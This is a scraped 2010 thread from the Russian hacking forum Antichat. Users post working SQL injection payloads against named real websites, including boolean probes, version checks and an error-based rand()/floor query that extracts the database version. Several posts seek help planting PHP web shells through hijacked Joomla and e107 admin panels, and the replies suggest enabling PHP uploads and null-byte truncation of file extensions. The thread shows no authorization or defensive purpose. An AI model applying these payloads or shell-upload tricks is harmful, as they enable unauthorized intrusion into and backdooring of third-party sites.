Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

06.06.2010, 14:40
|
|
Познающий
Регистрация: 16.04.2008
Сообщений: 88
Провел на форуме: 264305
Репутация:
30
|
|
да
http://www.bettingexpert.com/tip.php?id=49632 and 1=1
http://www.bettingexpert.com/tip.php?id=49632 and 1=2
http://www.bettingexpert.com/tip.php?id=49632 and left(version(),1)=5
http://www.bettingexpert.com/tip.php?id=49632 and left(version(),1)=4
|
|
|

06.06.2010, 16:52
|
|
Постоянный
Регистрация: 06.01.2010
Сообщений: 785
Провел на форуме: 1777031
Репутация:
256
|
|
Захожу в Extension Manager, выбираю Upload Package File, выбираю файл шелла начинаю заливать, но появляется: "JFolder::create: Could not create director Warning! Failed to move file.Unknown Archive Type"
Что не так?
|
|
|

06.06.2010, 16:54
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме: 4072944
Репутация:
1550
|
|
в настройках медиа менеджера разреши загрузку пхп файлов... и даже если ругнулся , все равно проверь ..не залился ли твой шелл в папку в которую заливал
|
|
|

06.06.2010, 19:20
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме: 2101094
Репутация:
672
|
|
Сообщение от FlaktW
Интересует сайт: http://www.samfundet.dk
Помогите определить движок и версию, или найти SQL-inj.
http://www.samfundet.dk/artikel_text.php?art_id=-462'&op=sectioninfo&art_sid=17#en
|
|
|

06.06.2010, 19:24
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме: 5011696
Репутация:
2221
|
|
Сообщение от Konqi
http://www.samfundet.dk/artikel_text.php?art_id=-462'&op=sectioninfo&art_sid=17#en
Эх вы...
http://www.samfundet.dk/artikel_text.php?art_id=462&op=sectioninfo&art_sid =17#en
Текст есть? Есть.
http://www.samfundet.dk/artikel_text.php?art_id=462abcd&op=sectioninfo&art _sid=17#en
Текст есть? Есть.
Вывод: Нету там скули.
// http://www.samfundet.dk/artikel_text.php?art_id=462'&op=sectioninfo&art_si d=17#en
У тебя там ошибка из-за -
И да, напишите на лбу пожалуйста, ОШИБКА НЕ СКУЛЯ!
|
|
|

06.06.2010, 19:32
|
|
Участник форума
Регистрация: 13.12.2009
Сообщений: 130
Провел на форуме: 540530
Репутация:
54
|
|
вот вам эффективное определение инъекта:
1) http://www.samfundet.dk/artikel_text.php?art_id=462&op=sectioninfo&art_sid =17#en
выводится страница
2)http://www.samfundet.dk/artikel_text.php?art_id=463-1&op=sectioninfo&art_sid=17#en
контент страницы изменился значит инъекции нет
|
|
|

06.06.2010, 20:22
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме: 111014
Репутация:
8
|
|
Здесь можно вывести через rand()?
http://www.bettingexpert.com/tip.php?id=49632'+and+(select+1+from+(select+count (0),concat((select+version()),floor(rand(0)*2))+fr om+(select+1+union+select+2+union+select+3)x+group +by+2+limit+1)a)+--+
|
|
|

07.06.2010, 15:10
|
|
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме: 111014
Репутация:
8
|
|
Заливаю shell.php, создает shell_php.html
Как html обрезать?
|
|
|

07.06.2010, 15:40
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме: 2459557
Репутация:
606
|
|
Сообщение от FlaktW
Заливаю shell.php, создает shell_php.html
Как html обрезать?
нульбайтом, например
|
|
|

07.06.2010, 16:20
|
|
Постоянный
Регистрация: 06.01.2010
Сообщений: 785
Провел на форуме: 1777031
Репутация:
256
|
|
Скажите в чем проблема, когда заливаю шелл через админку в е107 CMS (делаю все как тут, первым и вторым способами), появляется ошибка: That file does not appear to be a valid .zip or .tar archive. Что не так делаю? Плагин заливаю 100% в формате .zip. Такое на всех сайтах, на которых доставал админку, происходит.
Что не так? И как залить шелл?
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|